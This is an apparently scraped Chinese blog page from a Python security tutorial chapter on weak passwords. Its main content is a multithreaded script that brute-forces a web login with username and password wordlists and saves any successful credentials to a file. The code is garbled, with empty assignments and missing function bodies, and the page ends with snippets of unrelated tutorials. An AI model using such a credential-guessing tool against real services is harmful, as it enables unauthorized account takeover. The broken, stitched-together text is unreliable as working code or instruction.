python安全攻防第七章弱口令問題

2021-10-25 02:20:26 字數 2385 閱讀 1563

#分塊大小

block_size =

1000

class

threadwork

: url =

""headers =

#類的建構函式

def__init__

(self,username,password)

: self.username = username

self.password = password

defrun(self,username,password)

: data =

print

("username: {},password: {}"

.format

(username, password)

) response = requests.post(self.url, data=data, headers=self.headers)

if'login failed!'

in response.text:

pass

else

:print

("success!!! username: {}, password: {}"

.format

(username, password)

) resultfile =

open

('result'

,'w'

) resultfile.write(

"success!!! username: {}, password: {}"

.format

(username, password)

) resultfile.close(

)#程式終止,0表示正常退出

:# 讀取賬號密碼存入對應列表

listusername =

[line.strip(

)for line in

open

("username")]

listpassword =

[line.strip(

)for line in

open

("passwords")]

#賬號密碼分塊處理

blockusername = partition(listusername, block_size)

blockpassowrd = partition(listpassword, block_size)

threads =

#把不同的密碼子塊分給不同的執行緒去爆破

for sonuserblock in blockusername:

for sonpwdblock in blockpassowrd:

#傳入賬號子塊和密碼子塊例項化任務

work = threadwork(sonuserblock,sonpwdblock)

#建立執行緒

workthread = threading.thread(target=work.start)

#往threads中加入執行緒

for t in threads:

t.start(

)for t in threads:

t.join(

)# 列表分塊函式

)執行結果

python第七章 python教程(第七章)

字典和集合 字典是python中唯一,乙個對映型別 如何建立乙個字典,如下 dict dict 滲透 網路安全 怎麼理解字典呢?現實生活中的字典可以通過首字母進行查詢要查詢的漢子,python也可以這樣理解,通過 前的元素查詢到冒號後的元素。為什麼說字典是唯一乙個對映型別呢?看圖。對映型別區別與序列...

Python第七章元組

python元組 python 的元組與列表類似,不同之處在於元組的元素不能修改。元組使用小括號,列表使用方括號。元組建立很簡單,只需要在括號中新增元素,並使用逗號隔開即可。元組中只包含乙個元素時,需要在元素後面新增逗號,否則括號會被當作運算子使用。元組與字串類似,下標索引從0開始,可以進行擷取,組...

第七章 網路安全設計

第七章 網路安全設計 1.網路安全體系結構?結合分層模型,每一層結構 協議 威脅 三維圖 安全機制 設計原則 之間的關係 安全模型是什麼 設計原則 iatf 資訊保障技術框架 標準強調人 技術和操作三個核心原則,iatf模型最重要的設計思想是在網路中進行不同等級的區域劃分與網路邊界保護。安全模型 在...